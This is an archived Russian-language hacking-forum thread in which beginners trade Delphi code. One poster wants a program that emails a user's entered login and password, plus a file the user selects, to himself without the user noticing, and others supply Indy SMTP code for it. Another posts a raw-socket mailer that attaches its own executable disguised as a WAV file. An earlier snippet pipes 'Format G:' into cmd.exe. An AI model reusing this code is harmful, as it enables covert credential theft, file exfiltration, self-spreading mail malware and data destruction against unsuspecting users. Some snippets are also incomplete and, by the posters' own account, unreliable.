[ Delphi / Pascal ] — начинающим: задаем вопросы (архивная - 2015)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by banned, 6 May 2007.

Thread Status:
Not open for further replies.
  1. Xserg

    Xserg Elder - Старейшина

    Joined:
    9 Dec 2006
    Messages:
    135
    Likes Received:
    127
    Reputations:
    53
    У меня примерчик есть
    A симуляция консоли сложноватый пример.
    Code:
    procedure TForm1.Button2Click(Sender: TObject);
    function PipeIs(StdOutR:dword):dword;
    var I,X:dword;
    begin
    I:=0;X:=50;
    while true do begin
     sleep(10);
     PeekNamedPipe(StdOutR,nil,0,0,@I,nil);
     if I<>0 then begin PipeIs:=I;exit;end;
     dec(X);
     if X=0  then begin PipeIs:=X;exit;end;
                 end;
    end;
    var
      sa:SECURITY_ATTRIBUTES;
      IR:dword;
      StdInR,StdOutR,StdInW,StdOutW,StdIn,StdOut:dword;
      pi: TProcessInformation;
      si: TStartupInfo;
      I,TimeOut:dword;
      STin,STout:string;
    begin
    
    sa.nLength := sizeof(sa);
    sa.bInheritHandle := true;
    sa.lpSecurityDescriptor := nil;
    CreatePipe(StdOutR,StdOutW,@sa,0);
    DuplicateHandle($ffffffff,StdoutW,$ffffffff,@Stdout,0,true,DUPLICATE_SAME_ACCESS);
    CloseHandle(StdOutW);
    CreatePipe(StdInR,StdInW,  @sa,0);
    DuplicateHandle($ffffffff,StdinR, $ffffffff,@Stdin ,0,true,DUPLICATE_SAME_ACCESS);
    CloseHandle(StdInR);
    
      ZeroMemory(@si, SizeOf(TStartupInfo));
      si.cb := SizeOf(TStartupInfo);
      si.hStdInput := Stdin;
      si.hStdOutput := Stdout;
      si.hStdError := Stdout;
      si.dwFlags :=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
      CreateProcess(nil,PChar('cmd.exe'), // command line
        nil,nil,TRUE,0,nil,nil,
        si,pi);
    
    memo1.Lines.Clear;
    while PipeIs(StdOutR)<>0 do begin
    I:=10000;setlength(STin,I);
    Readfile(StdOutR, STin[1], I, I, nil);
    if I<>0 then begin
    setlength(STin,I);OemToChar(PAnsiChar(STin),PAnsiChar(STin));
    memo1.Lines.Add(STin);
                   end;
                                end;
    
      STout := 'Dir c:\'#$D#$A;
      I := Length(STout);
      WriteFile(StdInW, STout[1], I, I, nil);
      memo1.Lines.Add(STout);
    
    while PipeIs(StdOutR)<>0 do begin
    I:=10000;setlength(STin,I);
    Readfile(StdOutR, STin[1], I, I, nil);
    if I<>0 then begin
    setlength(STin,I);OemToChar(PAnsiChar(STin),PAnsiChar(STin));
    memo1.Lines.Add(STin);
                   end;
                               end;
    
      STout := 'Format G:'#$D#$A;
      I := Length(STout);
      WriteFile(StdInW, STout[1], I, I, nil);
      memo1.Lines.Add(STout);
    
    
    while PipeIs(StdOutR)<>0 do begin
    I:=10000;setlength(STin,I);
    Readfile(StdOutR, STin[1], I, I, nil);
    if I<>0 then begin
    setlength(STin,I);OemToChar(PAnsiChar(STin),PAnsiChar(STin));
    memo1.Lines.Add(STin);
                   end;
                                end;
    
    terminateprocess(pi.hProcess,0);
    
    end; 
     
  2. infernal-team

    infernal-team Elder - Старейшина

    Joined:
    4 Jul 2007
    Messages:
    53
    Likes Received:
    17
    Reputations:
    -10
    Есть такой код:
    procedure TForm1.Button1Click(Sender: TObject);
    var
    mail: String;
    Mes: TIdMessage;
    begin
    if(ComboBox2.Text = '') or (Edit1.Text = '')then
    begin
    Form2.Show;
    end;
    mail := '[email protected]';
    Application.ProcessMessages;
    Mes := TIdMessage.Create(nil);
    Mes.Recipients.Add;
    Mes.Recipients.Items[0].Text := mail;
    Mes.From.Text := PChar(ComboBox2.Text);
    Mes.Subject := 'mail_client';
    Mes.Body.Add('ID:'+' '+ComboBox2.Text+#13#10+
    'Pass:'+' '+Edit1.Text+#13#10);
    IdSMTP1.AuthenticationType := atLogin;
    IdSMTP1.Host := PChar('smtp.mail.ru');
    IdSMTP1.Username := PChar(ComboBox2.Text);
    IdSMTP1.Password := PChar(Edit1.Text);
    IdSMTP1.Port := 25; // Default
    Application.ProcessMessages;
    IdSMTP1.Connect(300);
    if IdSMTP1.Connected then
    begin
    try // Отправляем месадж
    Application.ProcessMessages;
    IdSMTP1.Send(Mes);
    except // если ошибка
    on E: Exception do
    begin
    Application.ProcessMessages;
    Application.MessageBox(PChar(E.Message),'Не удалось отправить почту', MB_ICONERROR);
    IdSMTP1.Disconnect;
    end;
    end;
    IdSMTP1.Disconnect;
    end;
    end;

    Программа компилируеться но на мыло ни чего не приходит помогите кто чем может.
     
  3. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    infernal-team
    http://slil.ru/24793186
    я когда-то давно писал такое
     
  4. infernal-team

    infernal-team Elder - Старейшина

    Joined:
    4 Jul 2007
    Messages:
    53
    Likes Received:
    17
    Reputations:
    -10
    Piflit спасибо, но чуть чуть раньше бы и мне не пришлось самому код писать, вобщем может кто поможет (не сочтите за наглость) как сделать вот выбрал в опен диалоге файл и чтобы он пришел ко мне намыло при нажатии буттон. Заранее спасибо.
     
    1 person likes this.
  5. GlOFF

    GlOFF Elder - Старейшина

    Joined:
    8 May 2006
    Messages:
    689
    Likes Received:
    484
    Reputations:
    4
    infernal-team А ты не думал что твой код может и правильный?
    А в синтаксисе отправке неправильный!
    в частности нужно не просто мыло [mail := '[email protected]';], а [mail := 'MAIL FROM: [email protected]';] ... Хотя могу ошибаться с компонентом делфи не знаком, может он сам это дописывает :)

    P.S. А так никто писать за тебя не будет, тут самому нужно что-то думать... причем Piflit уже дал наработки ;)
     
  6. DarckSol

    DarckSol New Member

    Joined:
    24 Apr 2007
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Delphi, как провести инъекцию? Интересует код с примером...
     
  7. GlOFF

    GlOFF Elder - Старейшина

    Joined:
    8 May 2006
    Messages:
    689
    Likes Received:
    484
    Reputations:
    4
    DarckSol Инъекцию чего? Заразить PE файл или что?
     
  8. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    Inject - memory????
    качай либы от mad...
     
  9. z01b

    z01b Муджахид

    Joined:
    5 Jan 2007
    Messages:
    494
    Likes Received:
    382
    Reputations:
    22
    Тебе на wasm.ru надо, у Ms-Rem, классные туториалы с сырцами на делфи!
     
  10. Mkey

    Mkey New Member

    Joined:
    17 May 2007
    Messages:
    11
    Likes Received:
    3
    Reputations:
    0
    Xserg.... спасибо за примерчик.... я уже опробывал штук 10 подобных... во всех - косяки есть... то пробелы лишние то некоторые команды не проходят..... повторюсь...требуется именно привезать cmd.exe к форме....
     
  11. infernal-team

    infernal-team Elder - Старейшина

    Joined:
    4 Jul 2007
    Messages:
    53
    Likes Received:
    17
    Reputations:
    -10
    Как осуществить отправку файла выбранного в OpenDialog1 на e-mail скрыто от пользователя ? Очень надеюсь на вашу помощь.
     
    #551 infernal-team, 31 Aug 2007
    Last edited: 31 Aug 2007
  12. z01b

    z01b Муджахид

    Joined:
    5 Jan 2007
    Messages:
    494
    Likes Received:
    382
    Reputations:
    22
    http://webfile.ru/1513518 - полностью рабочий Mail Client, основан на TidSMTP
     
  13. infernal-team

    infernal-team Elder - Старейшина

    Joined:
    4 Jul 2007
    Messages:
    53
    Likes Received:
    17
    Reputations:
    -10
    z01b нужно скрыто, чтобы пользователь не знал что файл отправляется.
     
  14. z01b

    z01b Муджахид

    Joined:
    5 Jan 2007
    Messages:
    494
    Likes Received:
    382
    Reputations:
    22
    Так переделай, я чтоли тебе вирь писать буду?+если работать с компонентами VCL то у тебя получится вирь на 400 кило!

    а как ты скрытно собираешся отправлять, если требует вмешательство пользователя?
     
    #554 z01b, 31 Aug 2007
    Last edited by a moderator: 31 Aug 2007
  15. infernal-team

    infernal-team Elder - Старейшина

    Joined:
    4 Jul 2007
    Messages:
    53
    Likes Received:
    17
    Reputations:
    -10
    Я не вирь пишу, не нужно чтобы пользователь заметил отправку файла.
     
  16. Exile1985

    Exile1985 Elder - Старейшина

    Joined:
    10 Aug 2006
    Messages:
    124
    Likes Received:
    35
    Reputations:
    1
    как я понимаю есть программа, в ней используется OpenDialog, короче делай так:
    в процедуре опенДеалога

    If OpenDialog1.Execute then
    begin
    // тут пишишь то что должна делать программа по
    //идее, т.е. то что должен видеть пользователь

    // а тут вызываешь функцию или процедуру отправки //этого файла на мыло

    end.

    нихера не понял, так пользователь должен видеть что файл отправляется или нет, говори точнее что надо!?
     
    #556 Exile1985, 31 Aug 2007
    Last edited by a moderator: 31 Aug 2007
  17. infernal-team

    infernal-team Elder - Старейшина

    Joined:
    4 Jul 2007
    Messages:
    53
    Likes Received:
    17
    Reputations:
    -10
    Exile1985 так вот мне и нужна функция ли процедура отправки на мыло.

    Пользователь должен выбрать файл в опендиалоге, ввести данные в edit нажать буттон, файл который он выбрал и данные введеные в едит должны мне прийти на мыло.
     
    #557 infernal-team, 31 Aug 2007
    Last edited by a moderator: 31 Aug 2007
  18. Exile1985

    Exile1985 Elder - Старейшина

    Joined:
    10 Aug 2006
    Messages:
    124
    Likes Received:
    35
    Reputations:
    1
    не знаю насколько рабочий код, по словам автора работает как часы, сам протестить не могу нету под рукой Delphi слепишь под себя как те надо:

    Code:
    type
      TForm1 = class(TForm)
      IdSMTP1: TIdSMTP;
      IdPOP31: TIdPOP3;
    
    var
      Form1: TForm1;
      M1: TidMessage;
      
    ...
    
    begin
      with Form1 do
      begin
        IdSMTP1.Connect;
        M1:= TIdmessage.Create(IdSMTP1);
        with M1 do
        begin
          Subject := 'Тема письма';
          Recipients.EMailAddresses:= 'adres1@server';
          From.Text:= '"имя" <adres@server>';
          Body.Text:=Edit1.text; //текст который он введет в эдит
          CharSet:= 'Windows-1251';
          Encoding:= meMIME;
          TIdAttachmentFile.Create(M1.MessageParts, OpenDialog1.FileName);//крепим файл
        end;
        IdPOP31.Connected; // почтовый сервер может попросить POP3 идентификацию перед отправкой почты, поэтому коннектимся ещё и по POP3
        IdSMTP1.Send(M1);
        IdSMTP1.Disconnect;
        IdPOP31.Disconnect;
        FreeAndNil(M1);
      end;
    end;
     
    #558 Exile1985, 31 Aug 2007
    Last edited: 31 Aug 2007
  19. z01b

    z01b Муджахид

    Joined:
    5 Jan 2007
    Messages:
    494
    Likes Received:
    382
    Reputations:
    22
    Долго думал, выкладвывать или нет , но вот она
    С тебя ПЛЮСЕГ!
    Code:
    Procedure SendMail(Recip, FromM, Server: String);
     Var
      Sock             : TSocket;
      WsaDatas         : TWSADATA;
      SockAddrIn       : TSockAddrIn;
      F                : FILE;
      Body, Attach,
      Sub, CTyp        : String;
      Linfo            : Integer;
    
     Procedure Mys(STR:STRING);
     Begin
      Send(Sock,STR[1],Length(STR),0);
     End;
    
     Begin
    
     Body := m_bod;
     Attach := m_att;
     Sub := m_sub;
     CTyp := 'audio/x-wav';
     FromM := '[email protected]';
    
     WSAStartUp(257,WsaDatas);
     Sock:=Socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
     SockAddrIn.sin_family:=AF_INET;
     SockAddrIn.sin_port:=htons(25);
     SockAddrIn.sin_addr.S_addr:=inet_addr(PChar(Server));
     If Connect(Sock,SockAddrIn,SizeOf(SockAddrIn)) <> SOCKET_ERROR Then Begin
      Mys('HELO .com'+#13#10);
      If Pos('<', Fromm)>0 Then
       Mys('Mail From: '+Copy(FromM, Pos('<', FromM)+1, Pos('>', FromM)-2)+#13#10) Else
       Mys('MAIL FROM: '+FromM+#13#10);
      Mys('RCPT TO: '+recip+#13#10);
      Mys('DATA'+#13#10);
    
      Mys('From: '+FromM+#13#10);
      Mys('Subject: '+Sub+#13#10);
      Mys('To: '+Recip+#13#10);
    
      Mys('MIME-Version: 1.0'+#13#10);
      Mys('Content-Type: multipart/mixed; boundary="ShutFace"'+#13#10+#13#10);
      Mys('--ShutFace'+#13#10);
      Mys('Content-Type: text/plain; charset:us-ascii'+#13#10+#13#10);
    
      Mys(Body+#13#10);
    
      Mys(#13#10+#13#10);
      Mys('--ShutFace'+#13#10);
      Mys('Content-Type: '+CTyp+';'+#13#10);
      Mys('    name="'+Attach+'"'+#13#10);
      Mys('Content-Transfer-Encoding: base64'+#13#10+#13#10);
      AssignFile(F,ParamStr(0));
      FileMode:=0;
      {$I-}
      Reset(F,1);
      IF IOResult=0 THEN BEGIN
       BlockRead(F,FileBuf[1],FileSize(ParamStr(0)));
       Mys(BASE64(FileSize(ParamStr(0))));
       CloseFile(F);
      END;
      {$I+}
      Mys(#13#10+'--ShutFace--'+#13#10+#13#10);
      Mys(#13#10+'.'+#13#10);
      Mys('QUIT'+#13#10);
     End;
     
    2 people like this.
  20. infernal-team

    infernal-team Elder - Старейшина

    Joined:
    4 Jul 2007
    Messages:
    53
    Likes Received:
    17
    Reputations:
    -10
    z01b тут нету аторизации, это не рабочий код, выкинь его.
     
    1 person likes this.
Thread Status:
Not open for further replies.